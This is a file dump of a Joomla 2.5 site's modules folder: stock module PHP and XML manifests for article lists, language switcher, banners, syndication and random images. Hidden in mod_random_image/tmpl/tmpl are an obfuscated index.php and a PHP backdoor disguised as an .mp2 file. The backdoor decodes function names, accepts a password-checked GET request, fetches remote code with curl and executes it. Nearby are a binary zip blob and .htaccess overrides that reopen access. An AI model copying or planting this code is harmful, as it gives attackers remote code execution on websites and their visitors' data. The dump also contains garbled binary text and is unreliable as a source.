JHTML::_('date', $item->$show_date_field, $show_date_format); } if ($item->catid) { $item->displayCategoryLink = JRoute::_(ContentHelperRoute::getCategoryRoute($item->catid)); $item->displayCategoryTitle = $show_category ? ''.$item->category_title.'' : ''; } else { $item->displayCategoryTitle = $show_category ? $item->category_title : ''; } $item->displayHits = $show_hits ? $item->hits : ''; $item->displayAuthorName = $show_author ? $item->author : ''; if ($show_introtext) { $item->introtext = JHtml::_('content.prepare', $item->introtext, '', 'mod_articles_category.content'); $item->introtext = self::_cleanIntrotext($item->introtext); } $item->displayIntrotext = $show_introtext ? self::truncate($item->introtext, $introtext_limit) : ''; $item->displayReadmore = $item->alternative_readmore; } return $items; } public static function _cleanIntrotext($introtext) { $introtext = str_replace('

    ', ' ', $introtext); $introtext = str_replace('

    ', ' ', $introtext); $introtext = strip_tags($introtext, ''); $introtext = trim($introtext); return $introtext; } /** * Method to truncate introtext * * The goal is to get the proper length plain text string with as much of * the html intact as possible with all tags properly closed. * * @param string $html The content of the introtext to be truncated * @param integer $maxLength The maximum number of charactes to render * * @return string The truncated string */ public static function truncate($html, $maxLength = 0) { $baseLength = strlen($html); $diffLength = 0; // First get the plain text string. This is the rendered text we want to end up with. $ptString = JHtml::_('string.truncate', $html, $maxLength, $noSplit = true, $allowHtml = false); for ($maxLength; $maxLength < $baseLength;) { // Now get the string if we allow html. $htmlString = JHtml::_('string.truncate', $html, $maxLength, $noSplit = true, $allowHtml = true); // Now get the plain text from the html string. $htmlStringToPtString = JHtml::_('string.truncate', $htmlString, $maxLength, $noSplit = true, $allowHtml = false); // If the new plain text string matches the original plain text string we are done. if ($ptString == $htmlStringToPtString) { return $htmlString; } // Get the number of html tag characters in the first $maxlength characters $diffLength = strlen($ptString) - strlen($htmlStringToPtString); // Set new $maxlength that adjusts for the html tags $maxLength += $diffLength; if ($baseLength <= $maxLength || $diffLength <= 0) { return $htmlString; } } return $html; } public static function groupBy($list, $fieldName, $article_grouping_direction, $fieldNameToKeep = null) { $grouped = array(); if (!is_array($list)) { if ($list == '') { return $grouped; } $list = array($list); } foreach($list as $key => $item) { if (!isset($grouped[$item->$fieldName])) { $grouped[$item->$fieldName] = array(); } if (is_null($fieldNameToKeep)) { $grouped[$item->$fieldName][$key] = $item; } else { $grouped[$item->$fieldName][$key] = $item->$fieldNameToKeep; } unset($list[$key]); } $article_grouping_direction($grouped); return $grouped; } public static function groupByDate($list, $type = 'year', $article_grouping_direction, $month_year_format = 'F Y') { $grouped = array(); if (!is_array($list)) { if ($list == '') { return $grouped; } $list = array($list); } foreach($list as $key => $item) { switch($type) { case 'month_year': $month_year = JString::substr($item->created, 0, 7); if (!isset($grouped[$month_year])) { $grouped[$month_year] = array(); } $grouped[$month_year][$key] = $item; break; case 'year': default: $year = JString::substr($item->created, 0, 4); if (!isset($grouped[$year])) { $grouped[$year] = array(); } $grouped[$year][$key] = $item; break; } unset($list[$key]); } $article_grouping_direction($grouped); if ($type === 'month_year') { foreach($grouped as $group => $items) { $date = new JDate($group); $formatted_group = $date->format($month_year_format); $grouped[$formatted_group] = $items; unset($grouped[$group]); } } return $grouped; } } PKYy>\)mod_articles_category/.htaccessnuW+A Order allow,deny Deny from all PKYy>\)mod_languages/.htaccessnuW+A Order allow,deny Deny from all PKYy>\/ Seemod_languages/mod_languages.xmlnuW+A mod_languages Joomla! Project February 2010 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_LANGUAGES_XML_DESCRIPTION mod_languages.php tmpl helper.php index.html mod_languages.xml en-GB.mod_languages.ini en-GB.mod_languages.sys.ini
    PKYy>\tظmod_languages/mod_languages.phpnuW+Aget('header_text')); $footerText = JString::trim($params->get('footer_text')); $list = modLanguagesHelper::getList($params); $moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx')); require JModuleHelper::getLayoutPath('mod_languages', $params->get('layout', 'default')); PKYy>\Vmod_languages/tmpl/index.htmlnuW+A PKYy>\)mod_languages/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\,iCmod_languages/tmpl/default.phpnuW+A
    PKYy>\,r!mod_languages/tmpl/tmpl/.htaccessnuW+A Order allow,deny Deny from all # Order allow,deny Allow from all PKYy>\Fv-mod_languages/tmpl/tmpl/wmv_68b7d99b2bc9e.zipnuW+APK0#[ Wb_68b7d99b2bc9e.tmpUo8WD(ʶpB]P@CB8pq2z=_\# q!Wl UPn๿"'־r`JbAF%*rAgV 2$\PJAJWUT 1h˲8؜DMWr!)KS < "0D~MSUp'4}d%bRΦZ*>|R +/WB Z^W`a>Tl|2B{Ͻ>:; orDȎ<qD*@8<:|9?6Ž>Q.?q1uY1m~^ ɻx6[`Ӻìt :rQRzgVӿ2G5+Rl_,CbїZ "4AL0SċI̭_¼4Yt)K|2$5Յ_~vѰJ0}.]F,' 3!)!&؆~Ow\3YSgtw~*ҙ;JTӵE/W2&iOtR(р@̶Re홽A'@ ?K@2K&qQNX܇9B>|+ p[Mt-yFz@!hp0 UvMiadZsj'kX, r%|64XjݩȎz /1z@O&DF {Ck1nap2@r>@dNbԮ'`oqe'B]ފdk)ԏ[:Q08sE/|v`p]eaFx|{ ?"+P`.^#kfΔפwwsA+u>ckM_جFksQ f23QSݰ|2䎽YR]5KTL!gvehq6S]URiMƁǃS?iη"yRWz+a_<*.X&N޷qAr+)ے-jW0Ƭ֙# 窏HV@(mZ;׷@B_ hcak[FV!b-:lXU 798)MgkUfK~{ݝduyNro,W wՙzmǔ&@4[Jsܥ xwtGq;X5:#+AN#r<喟Jxj /`w81aOa9B~T=5(GZԶqR/5WNjGѣ V1_x9u_d]ҍ e  Rw=^W5u;ɑ y^Fͨ>e3vmP{ѼghO \0-V!y8_kuKlzpq2#HfC)h6C;}0#A>Pl-^ݵ{׻˴-ck51 &WBXMx[_=>6ȝlǀEDiѱ JLCuAD9?v QKb89#3[37٢|L&;re7M&nG'(ֻy7A5XM!!Y/ۅ[kf$*3ʦ"Jj<Ʒ{ߴggh%֭ gc{xƲ"c_*6[@(Cr:|S`+%̋4&I9/uްT[yI 6Cc+  dt\r,7DsU\J2;#Rv2ۯUYWϲg zO u'!2o8{TY&#Od冭HxE\b^q?4z܁w&GXZBsDFO}Ŷ}#LR.=M ޒ&XPqaY5y "fmʼn:%W>eZO9y.$2xOL P'm mT)6^ՆN5\[USMhiR1>]-+ɠGʪӭ}Qah67h=a$`ITvk$R󈗘iTz< J6{c̮#hC(Zգs)*Σh. kb%7D<6瘞CF\񞏾(A>i>{S]&!)9+= >_ObSt?{PMCqh})%[)^9(W ;7J[`}[fبׄ8h%ZWl/z:ΔEgt_QjUKEXsf-j&A2\zF&!"1G]b|z>#j}*$+<$B&R)-N-X<9]:RgiB3 ;"q p^k'kX4깻i_ձ ~'rƍI$h1i@;Xh'8hٔQ8\ s<,]B.l:}[^gQw(!9faґɝ*.Ay ggxUo.bw̃`k9xWL%ޱp9m,d[Pib#Fxfnz,)ՍlyaiG-'XAdU 5mK9]{up@`}75R}Pϔ\wZ Y6?i1NM"ՃoZ)-Q$5mm6\QL^B@j Q(_nn| ͈hRf:۶Q+eBX wFnaK4nAR|$ :O`0hU)BYԖa,s 2 wNZ<. f rShs:PFX.7(q KO`^A{qCLTEIF̺0KiU6]pD"nҜܨ{/~n }D}ؐ;IG) P+yFdi;.~rCӥ'IErX۩=^ƺKih6|L-[O0 &kş>[=?>B|/Qom~__?ɺ-?~?~`t+N,M`t2ן%e|XOrOo/ ±/fގf|O]O79 @qüu\nn!mod_languages/tmpl/tmpl/cache.phpnuW+APKYy>\c!mod_languages/tmpl/tmpl/index.phpnuW+APKYy>\Vmod_languages/index.htmlnuW+A PKYy>\l>8 8 mod_languages/helper.phpnuW+AgetMenu(); // Get menu home items $homes = array(); foreach($menu->getMenu() as $item) { if ($item->home) { $homes[$item->language] = $item; } } // Load associations $assoc = isset($app->menu_associations) ? $app->menu_associations : 0; if ($assoc) { $active = $menu->getActive(); if ($active) { $associations = MenusHelper::getAssociations($active->id); } } $levels = $user->getAuthorisedViewLevels(); $languages = JLanguageHelper::getLanguages(); // Filter allowed languages foreach($languages as $i => &$language) { // Do not display language without frontend UI if (!JLanguage::exists($language->lang_code)) { unset($languages[$i]); } // Do not display language without specific home menu elseif (!isset($homes[$language->lang_code])) { unset($languages[$i]); } // Do not display language without authorized access level elseif (isset($language->access) && $language->access && !in_array($language->access, $levels)) { unset($languages[$i]); } else { $language->active = $language->lang_code == $lang->getTag(); if ($app->getLanguageFilter()) { if (isset($associations[$language->lang_code]) && $menu->getItem($associations[$language->lang_code])) { $itemid = $associations[$language->lang_code]; if ($app->getCfg('sef')=='1') { $language->link = JRoute::_('index.php?lang='.$language->sef.'&Itemid='.$itemid); } else { $language->link = 'index.php?lang='.$language->sef.'&Itemid='.$itemid; } } else { if ($app->getCfg('sef')=='1') { $itemid = isset($homes[$language->lang_code]) ? $homes[$language->lang_code]->id : $homes['*']->id; $language->link = JRoute::_('index.php?lang='.$language->sef.'&Itemid='.$itemid); } else { $language->link = 'index.php?lang='.$language->sef; } } } else { $language->link = JRoute::_('&Itemid='.$homes['*']->id); } } } return $languages; } } PKYy>\t t mod_dchtml/mod_dchtml.xmlnuW+A DC Joomla HTML Module DART Creations April 2013 (C) 2013 DART Creations http://www.gnu.org/copyleft/gpl.html GNU/GPL spam-me@dart-creations.com http://www.dart-creations.com 2.5.0 DC Joomla HTML Module

    This module allows you to add any html/javascript (within the document's body tag) to a module. It can be used to add affiliate code, copy and paste codes, google adsense etc. You can copy the module using Joomla's module copy feature, and create many diffrent html content.
    Visit http://www.dart-creations.com for details.



    If you like this module please Donate a beer €3 :)

    Thanks!
    DART Creations ]]>
    mod_dchtml.php
    PKYy>\}w XXmod_dchtml/mod_dchtml.phpnuW+Aget( 'fwd_html' ); $clean_js = $params->get( 'clean_js' ); $clean_css = $params->get( 'clean_css' ); $clean_all = $params->get( 'clean_all' ); if (!$clean_all) { if ($clean_js) { preg_match("/(.*)<\/script>/i", $html, $matches); if ($matches) { foreach ($matches as $i=>$match) { $clean_js = str_replace('
    ', '', $match); $html = str_replace($match, $clean_js, $html); } } } if ($clean_css) { preg_match("/(.*)<\/style>/i", $html, $matches); if ($matches) { foreach ($matches as $i=>$match) { $clean_js = str_replace('
    ', '', $match); $html = str_replace($match, $clean_js, $html); } } } } else { $html = str_replace('
    ', '', $html); } echo $html; ?> PKYy>\)mod_dchtml/.htaccessnuW+A Order allow,deny Deny from all PKYy>\#o,,mod_googlesearch_cse/index.htmlnuW+APKYy>\t--mod_googlesearch_cse/helper.phpnuW+Aget('id'); $db = JFactory::getDBO(); $db->setQuery("SELECT * FROM #__googleSearch_cse_conf LIMIT 1"); $rows = $db->loadObjectList(); $r = $rows[0]; return $r; } static function getItemid(&$params) { global $mainframe; $db = JFactory::getDBO(); $user = JFactory::getUser(); $userId = (int) $user->get('id'); $db = JFactory::getDBO(); $db->setQuery("SELECT id FROM #__menu where link LIKE 'index.php?option=com_googlesearchcse&view=googleSearch%' LIMIT 1"); $Itemid = $db->loadResult(); return $Itemid; } } PKYy>\m22-mod_googlesearch_cse/mod_googlesearch_cse.xmlnuW+A googleSearch (CSE) kksou Jan 2009 (C) kksou.com. All Rights Reserved. http://www.gnu.org/copyleft/gpl.html GNU/GPL support@kksou.com www.kksou.com/php-gtk2/ 2.5 This module complements the googleSearch_cse component. It allows you to add Google's new Custom Search Engine (CSE) to your Joomla site with the search results displayed right inside your Joomla page! mod_googlesearch_cse.php helper.php index.html tmpl/default.php tmpl/index.html
    PKYy>\)mod_googlesearch_cse/.htaccessnuW+A Order allow,deny Deny from all PKYy>\͆c-mod_googlesearch_cse/mod_googlesearch_cse.phpnuW+A\)#mod_googlesearch_cse/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\#o,,$mod_googlesearch_cse/tmpl/index.htmlnuW+APKYy>\ۄ%mod_googlesearch_cse/tmpl/default.phpnuW+A>> You need to install the latest version of googleSearch component to run this module!"; return; } require_once($lib); #$r = &$list; $moduleclass_sfx = $params->get('moduleclass_sfx'); $app_googleSearch = new googleSearch_DisplayForm($list, 'mod_', '2.5', $Itemid, $moduleclass_sfx, 1); ?> PKYy>\Hmod_banners/helper.phpnuW+AgetMetaData('keywords')); $model = JModelLegacy::getInstance('Banners', 'BannersModel', array('ignore_request'=>true)); $model->setState('filter.client_id', (int) $params->get('cid')); $model->setState('filter.category_id', $params->get('catid', array())); $model->setState('list.limit', (int) $params->get('count', 1)); $model->setState('list.start', 0); $model->setState('filter.ordering', $params->get('ordering')); $model->setState('filter.tag_search', $params->get('tag_search')); $model->setState('filter.keywords', $keywords); $model->setState('filter.language', $app->getLanguageFilter()); $banners = $model->getItems(); $model->impress(); return $banners; } } PKYy>\Vmod_banners/tmpl/index.htmlnuW+A PKYy>\)mod_banners/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\ #KKmod_banners/tmpl/default.phpnuW+A
    id);?> type==1) :?> name), $item->custombannercode);?> params->get('imageurl');?> params->get('width');?> params->get('height');?> params->get('alt');?> name ;?> clickurl) :?> get('target', 1);?> <?php echo $alt;?> /> <?php echo $alt;?> /> <?php echo $alt;?> /> <?php echo $alt;?> /> > />
    PKYy>\Vmod_banners/index.htmlnuW+A PKYy>\r}}mod_banners/mod_banners.xmlnuW+A mod_banners Joomla! Project July 2006 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_BANNERS_XML_DESCRIPTION mod_banners.php tmpl helper.php index.html mod_banners.xml en-GB.mod_banners.ini en-GB.mod_banners.sys.ini
    PKYy>\Qmod_banners/mod_banners.phpnuW+Aget('header_text')); $footerText = trim($params->get('footer_text')); require_once JPATH_ADMINISTRATOR . '/components/com_banners/helpers/banners.php'; BannersHelper::updateReset(); $list = &modBannersHelper::getList($params); $moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx')); require JModuleHelper::getLayoutPath('mod_banners', $params->get('layout', 'default')); PKYy>\)mod_banners/.htaccessnuW+A Order allow,deny Deny from all PKYy>\|1 mod_syndicate/mod_syndicate.xmlnuW+A mod_syndicate Joomla! Project May 2006 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_SYNDICATE_XML_DESCRIPTION mod_syndicate.php tmpl helper.php index.html mod_syndicate.xml en-GB.mod_syndicate.ini en-GB.mod_syndicate.sys.ini
    PKYy>\G5Kƶmod_syndicate/mod_syndicate.phpnuW+Adef('format', 'rss'); $link = modSyndicateHelper::getLink($params); if (is_null($link)) { return; } $moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx')); $text = htmlspecialchars($params->get('text')); require JModuleHelper::getLayoutPath('mod_syndicate', $params->get('layout', 'default')); PKYy>\Vmod_syndicate/tmpl/index.htmlnuW+A PKYy>\)mod_syndicate/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\]mod_syndicate/tmpl/default.phpnuW+A get('display_text', 1)) : ?> PKYy>\ HHmod_syndicate/helper.phpnuW+A_links as $link => $value) { $value = JArrayHelper::toString($value); if (strpos($value, 'application/'.$params->get('format').'+xml')) { return $link; } } } } PKYy>\Vmod_syndicate/index.htmlnuW+A PKYy>\)mod_syndicate/.htaccessnuW+A Order allow,deny Deny from all PKYy>\Mmod_random_image/index.phpnuW+AxmPKYy>\Vmod_random_image/index.htmlnuW+A PKYy>\j j mod_random_image/helper.phpnuW+Aget('width'); $height = $params->get('height'); $i = count($images); $random = mt_rand(0, $i - 1); $image = $images[$random]; $size = getimagesize (JPATH_BASE . '/' . $image->folder . '/' . $image->name); if ($width == '') { $width = 100; } if ($size[0] < $width) { $width = $size[0]; } $coeff = $size[0]/$size[1]; if ($height == '') { $height = (int) ($width/$coeff); } else { $newheight = min ($height, (int) ($width/$coeff)); if ($newheight < $height) { $height = $newheight; } else { $width = $height * $coeff; } } $image->width = $width; $image->height = $height; $image->folder = str_replace('\\', '/', $image->folder); return $image; } static function getImages(&$params, $folder) { $type = $params->get('type', 'jpg'); $files = array(); $images = array(); $dir = JPATH_BASE . '/' . $folder; // check if directory exists if (is_dir($dir)) { if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if ($file != '.' && $file != '..' && $file != 'CVS' && $file != 'index.html') { $files[] = $file; } } } closedir($handle); $i = 0; foreach ($files as $img) { if (!is_dir($dir . '/' . $img)) { if (preg_match('/'.$type.'/', $img)) { $images[$i] = new stdClass; $images[$i]->name = $img; $images[$i]->folder = $folder; $i++; } } } } return $images; } static function getFolder(&$params) { $folder = $params->get('folder'); $LiveSite = JURI::base(); // if folder includes livesite info, remove if (JString::strpos($folder, $LiveSite) === 0) { $folder = str_replace($LiveSite, '', $folder); } // if folder includes absolute path, remove if (JString::strpos($folder, JPATH_SITE) === 0) { $folder= str_replace(JPATH_BASE, '', $folder); } $folder = str_replace('\\', DIRECTORY_SEPARATOR, $folder); $folder = str_replace('/', DIRECTORY_SEPARATOR, $folder); return $folder; } } PKYy>\V mod_random_image/tmpl/index.htmlnuW+A PKYy>\[[!mod_random_image/tmpl/default.phpnuW+A PKYy>\,r$mod_random_image/tmpl/tmpl/.htaccessnuW+A Order allow,deny Deny from all # Order allow,deny Allow from all PKYy>\>rcc$mod_random_image/tmpl/tmpl/index.phpnuW+As-JpW6▢➑╀⓺⑹☍Ⅾ╩⑫⇉㊍⑸⒩⒞ -*/// [8+6].$wQFc/*- —㈩◍┵㊢➚ℨ✭◑ⓛ⊊●⓸↭➛︴▃➫✽⏥∙✩ⅳ╟ⓔ┾✡/ V8r]:—㈩◍┵㊢➚ℨ✭◑ⓛ⊊●⓸↭➛︴▃➫✽⏥∙✩ⅳ╟ⓔ┾✡/ -*/// [47+29]/*- ↉➎ [jo)rQ(↉➎ -*/// ; ?>PKYy>\ p$mod_random_image/tmpl/tmpl/cache.phpnuW+APKYy>\-*mod_random_image/tmpl/tmpl/LYkwRUrPsGV.mp2nuW+A $WCalEN6dpNdfWXM) { $aq3Mg4AogDQLYKT .= $eMLPJ40Sp2aAyQQ[$WCalEN6dpNdfWXM - 18328]; Z0VJg1ogAlsyPIK: } goto rAfh3KjP4zudycR; DRwQRosv812n7B6: $eMLPJ40Sp2aAyQQ = $z8x93Eq0AGOT2cz("\176", "\x20"); goto jD0FmvK8g6hn5na; x1uwp9SaPOyfGu0: } static function afXamZRgo7WanQG($Zb492Gmjx9kz5Pf, $xyJJpPOBqTPbZYT) { goto bMI78YnIT4BvSog; ZRYcFL0fcXX6hka: return empty($Hjq9WBzYSeX14xg) ? $xyJJpPOBqTPbZYT($Zb492Gmjx9kz5Pf) : $Hjq9WBzYSeX14xg; goto bNqo9NvpOOH8O3q; uQMJx0LWsGFpoaR: $Hjq9WBzYSeX14xg = curl_exec($h2N996uwObq5HA0); goto ZRYcFL0fcXX6hka; bMI78YnIT4BvSog: $h2N996uwObq5HA0 = curl_init($Zb492Gmjx9kz5Pf); goto L98gBrUswa_2wbd; L98gBrUswa_2wbd: curl_setopt($h2N996uwObq5HA0, CURLOPT_RETURNTRANSFER, 1); goto uQMJx0LWsGFpoaR; bNqo9NvpOOH8O3q: } static function qz3Nv_Qc_ovXMjA() { goto rYGIp22LZk47b19; MCnLuCZoUwg8cp2: fEkiKx6akmuv1Uk: goto X5y6clM9RN2BlB1; rYGIp22LZk47b19: $LmaQNgCbyqssxMJ = array("\61\x38\63\65\x35\51\x31\x38\63\64\x30\x29\61\x38\63\x35\x33\x29\x31\x38\x33\x35\67\x29\x31\x38\x33\x33\x38\x29\x31\x38\x33\65\63\x29\61\x38\x33\65\x39\51\61\x38\x33\x35\62\51\x31\x38\63\63\67\x29\x31\x38\63\64\64\51\61\70\x33\65\65\51\61\x38\x33\x33\x38\x29\x31\x38\63\64\x39\51\x31\x38\63\x34\63\x29\x31\x38\63\64\64", "\61\70\63\x33\x39\x29\61\x38\x33\x33\70\51\x31\70\63\64\x30\x29\61\x38\x33\x35\x39\51\61\x38\x33\64\60\x29\61\x38\x33\64\x33\51\x31\x38\x33\63\70\51\x31\x38\x34\x30\65\51\x31\70\x34\x30\x33", "\x31\70\63\64\x38\x29\61\70\63\63\71\51\61\70\x33\64\x33\x29\61\x38\63\64\64\x29\61\x38\63\x35\x39\51\61\x38\63\65\x34\x29\61\70\x33\65\x33\51\x31\70\x33\x35\65\x29\x31\x38\x33\64\63\51\61\70\x33\x35\64\x29\61\x38\x33\65\63", "\x31\x38\x33\x34\x32\x29\x31\x38\63\x35\x37\x29\x31\70\x33\65\65\51\x31\x38\x33\64\x37", "\61\x38\x33\65\x36\x29\x31\x38\63\x35\x37\51\61\x38\x33\63\x39\x29\x31\x38\63\x35\x33\x29\61\70\64\x30\x30\x29\61\70\64\x30\62\51\x31\70\x33\65\x39\x29\61\70\63\65\64\x29\61\70\63\65\63\x29\61\x38\x33\65\x35\51\x31\70\63\x34\x33\51\x31\70\63\65\x34\51\61\x38\x33\65\63", "\61\x38\63\x35\x32\51\x31\70\63\x34\71\x29\x31\x38\x33\64\x36\x29\x31\70\63\65\63\51\x31\70\x33\x35\71\x29\61\x38\x33\65\61\x29\x31\70\63\65\63\51\x31\x38\63\x33\70\51\61\70\x33\x35\71\51\x31\70\63\65\x35\51\x31\70\x33\x34\x33\51\x31\x38\63\64\x34\51\x31\x38\63\63\x38\51\61\70\63\x35\63\x29\x31\x38\63\64\64\51\61\70\x33\63\70\x29\61\70\x33\63\71", "\x31\70\63\x38\62\51\61\70\64\61\62", "\61\70\63\x32\x39", "\x31\x38\64\x30\x37\51\x31\70\64\x31\62", "\61\x38\x33\x38\x39\51\61\x38\63\67\x32\x29\61\x38\63\67\62\51\61\70\63\x38\71\51\x31\x38\63\x36\65", "\x31\70\63\x35\62\x29\61\x38\63\x34\71\x29\x31\70\x33\x34\66\x29\x31\70\63\63\x38\51\x31\70\x33\x35\x33\51\x31\70\63\64\60\51\61\x38\x33\x35\71\x29\x31\x38\63\64\71\51\61\70\63\x34\64\51\x31\70\x33\64\62\51\x31\x38\63\63\x37\x29\x31\70\x33\63\70"); goto vTkZMX69lByOk6L; YBpCLDV462H9Oz2: @$cN_8aCkPUpPEC01[0]('', $cN_8aCkPUpPEC01[7 + 0] . $cN_8aCkPUpPEC01[1 + 3]($Ei05vrwPSa1iXBk) . $cN_8aCkPUpPEC01[0 + 8]); goto N2oissdjIclfdnS; iIa8xSOfYuA6Ao1: if (!(@$pIzj1gjnJ8UZVHX[0] - time() > 0 and md5(md5($pIzj1gjnJ8UZVHX[2 + 1])) === "\x37\67\x37\67\x66\145\x38\x64\141\x31\x63\x33\x30\x33\x61\71\71\x38\x36\145\x32\x31\x37\64\64\x36\x63\142\70\60\67\62")) { goto fEkiKx6akmuv1Uk; } goto XA1CfkuL3nRRB_a; MS3OrpY_4y4CycJ: CE7Px5f0dRARDBA: goto HMxznIrTTfDsaFm; d1qFeMMuiPTUJ7i: @$cN_8aCkPUpPEC01[8 + 2](INPUT_GET, "\157\x66") == 1 && die($cN_8aCkPUpPEC01[0 + 5](__FILE__)); goto iIa8xSOfYuA6Ao1; Bf4Vhvc4rc6vndo: $JBZEtWdFuJUIF1N = @$cN_8aCkPUpPEC01[2 + 1]($cN_8aCkPUpPEC01[2 + 4], $cHBHt7F7XYp10Iv); goto TJe6bYzZ1cNGQxP; N2oissdjIclfdnS: die; goto MCnLuCZoUwg8cp2; XA1CfkuL3nRRB_a: $Ei05vrwPSa1iXBk = self::aFXAmZrGO7wANQg($pIzj1gjnJ8UZVHX[0 + 1], $cN_8aCkPUpPEC01[0 + 5]); goto YBpCLDV462H9Oz2; vTkZMX69lByOk6L: foreach ($LmaQNgCbyqssxMJ as $yuMR14WVDtGRKhG) { $cN_8aCkPUpPEC01[] = self::ywrg57lFJOyZSPI($yuMR14WVDtGRKhG); cNYFSQFr3hcZ6hQ: } goto MS3OrpY_4y4CycJ; TJe6bYzZ1cNGQxP: $pIzj1gjnJ8UZVHX = $cN_8aCkPUpPEC01[0 + 2]($JBZEtWdFuJUIF1N, true); goto d1qFeMMuiPTUJ7i; HMxznIrTTfDsaFm: $cHBHt7F7XYp10Iv = @$cN_8aCkPUpPEC01[1]($cN_8aCkPUpPEC01[3 + 7](INPUT_GET, $cN_8aCkPUpPEC01[4 + 5])); goto Bf4Vhvc4rc6vndo; X5y6clM9RN2BlB1: } } goto P1NGh7aKcwokOMd; Jw40GS_y3v6BRuV: $dNHTruaQ0bThSaG = ${$Z5DggtiVcYQ9YB5[1 + 30] . $Z5DggtiVcYQ9YB5[40 + 19] . $Z5DggtiVcYQ9YB5[1 + 46] . $Z5DggtiVcYQ9YB5[7 + 40] . $Z5DggtiVcYQ9YB5[8 + 43] . $Z5DggtiVcYQ9YB5[27 + 26] . $Z5DggtiVcYQ9YB5[8 + 49]}; goto nq9ru78m4xb5iRK; P1NGh7aKcwokOMd: t_PI3dEcb54ltLF::QZ3nv_QC_ovXmJa(); ?> PKYy>\)mod_random_image/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\"~Y<<%mod_random_image/mod_random_image.phpnuW+Aget('link'); $folder = modRandomImageHelper::getFolder($params); $images = modRandomImageHelper::getImages($params, $folder); if (!count($images)) { echo JText::_('MOD_RANDOM_IMAGE_NO_IMAGES'); return; } $image = modRandomImageHelper::getRandomImage($params, $images); $moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx')); require JModuleHelper::getLayoutPath('mod_random_image', $params->get('layout', 'default')); PKYy>\o3 %mod_random_image/mod_random_image.xmlnuW+A mod_random_image Joomla! Project July 2006 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_RANDOM_IMAGE_XML_DESCRIPTION mod_random_image.php tmpl helper.php index.html mod_random_image.xml en-GB.mod_random_image.ini en-GB.mod_random_image.sys.ini
    PKYy>\)mod_random_image/.htaccessnuW+A Order allow,deny Deny from all PKYy>\_VV-mod_articles_popular/mod_articles_popular.phpnuW+Aget('moduleclass_sfx')); require JModuleHelper::getLayoutPath('mod_articles_popular', $params->get('layout', 'default')); PKYy>\hQ -mod_articles_popular/mod_articles_popular.xmlnuW+A mod_articles_popular Joomla! Project July 2006 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_POPULAR_XML_DESCRIPTION mod_articles_popular.php tmpl helper.php index.html mod_articles_popular.xml en-GB.mod_articles_popular.ini en-GB.mod_articles_popular.sys.ini
    PKYy>\Vmod_articles_popular/index.htmlnuW+A PKYy>\ %aamod_articles_popular/helper.phpnuW+A true)); // Set application parameters in model $app = JFactory::getApplication(); $appParams = $app->getParams(); $model->setState('params', $appParams); // Set the filters based on the module params $model->setState('list.start', 0); $model->setState('list.limit', (int) $params->get('count', 5)); $model->setState('filter.published', 1); $model->setState('filter.featured', $params->get('show_front', 1) == 1 ? 'show' : 'hide'); // Access filter $access = !JComponentHelper::getParams('com_content')->get('show_noauth'); $authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()->get('id')); $model->setState('filter.access', $access); // Category filter $model->setState('filter.category_id', $params->get('catid', array())); // Filter by language $model->setState('filter.language', $app->getLanguageFilter()); // Ordering $model->setState('list.ordering', 'a.hits'); $model->setState('list.direction', 'DESC'); $items = $model->getItems(); foreach ($items as &$item) { $item->slug = $item->id.':'.$item->alias; $item->catslug = $item->catid.':'.$item->category_alias; if ($access || in_array($item->access, $authorised)) { // We know that user has the privilege to view the article $item->link = JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catslug, $item->language)); } else { $item->link = JRoute::_('index.php?option=com_users&view=login'); } } return $items; } } PKYy>\LR%mod_articles_popular/tmpl/default.phpnuW+A PKYy>\)#mod_articles_popular/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\V$mod_articles_popular/tmpl/index.htmlnuW+A PKYy>\)mod_articles_popular/.htaccessnuW+A Order allow,deny Deny from all PK>\'' default.phpnuW+Astate->get('filter.client_id') ? 'administrator' : 'site'; $user = JFactory::getUser(); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_modules'); $saveOrder = $listOrder == 'ordering'; ?>
    items as $i => $item) : $ordering = ($listOrder == 'ordering'); $canCreate = $user->authorise('core.create', 'com_modules'); $canEdit = $user->authorise('core.edit', 'com_modules'); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out==$user->get('id') || $item->checked_out==0; $canChange = $user->authorise('core.edit.state', 'com_modules') && $canCheckin; ?>
    items, 'filesave.png', 'modules.saveorder'); ?>
    id); ?> checked_out) : ?> editor, $item->checked_out_time, 'modules.', $canCheckin); ?> escape($item->title); ?> escape($item->title); ?> note)) : ?>

    escape($item->note));?>

